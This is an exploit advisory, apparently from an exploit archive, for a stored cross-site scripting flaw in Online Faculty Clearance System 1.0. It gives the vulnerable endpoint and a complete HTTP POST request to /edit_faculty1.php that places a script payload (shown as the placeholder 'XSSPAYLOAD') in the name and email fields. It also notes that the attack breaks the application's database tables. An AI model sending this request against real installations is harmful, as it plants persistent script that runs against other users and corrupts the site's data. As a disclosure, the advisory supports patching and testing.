# Exploit Title: Online Faculty Clearance System Persistent Cross Site Scripting # Exploit Author: th3d1gger # Vendor Homepage: https://sourcecodester.com # Software Link: https://www.sourcecodester.com/sites/default/files/download/oretnom23/onlineclearance_0.zip # Version: 1.0 # Tested on Windows 10 @attack request #NOTE:Exploit is also hitting the application,tables won't be available after attack ------------------------------------------------------- POST /edit_faculty1.php HTTP/1.1 Host: onlineclearance.olly User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Content-Length: 229 Origin: http://onlineclearance.olly Connection: close Referer: http://onlineclearance.olly/production/admin1.php Cookie: PHPSESSID=33m58omrnhv63lll47tsfqsvfn Upgrade-Insecure-Requests: 1 facultyId=2222222&id=80&firstname=XSSPAYLOAD&middlename=XSSPAYLOAD&lastname=XSSPAYLOAD&contactnumber=952749822&email=XSSPAYLOAD&designation=Parttime&department=CIT&campus=Talisay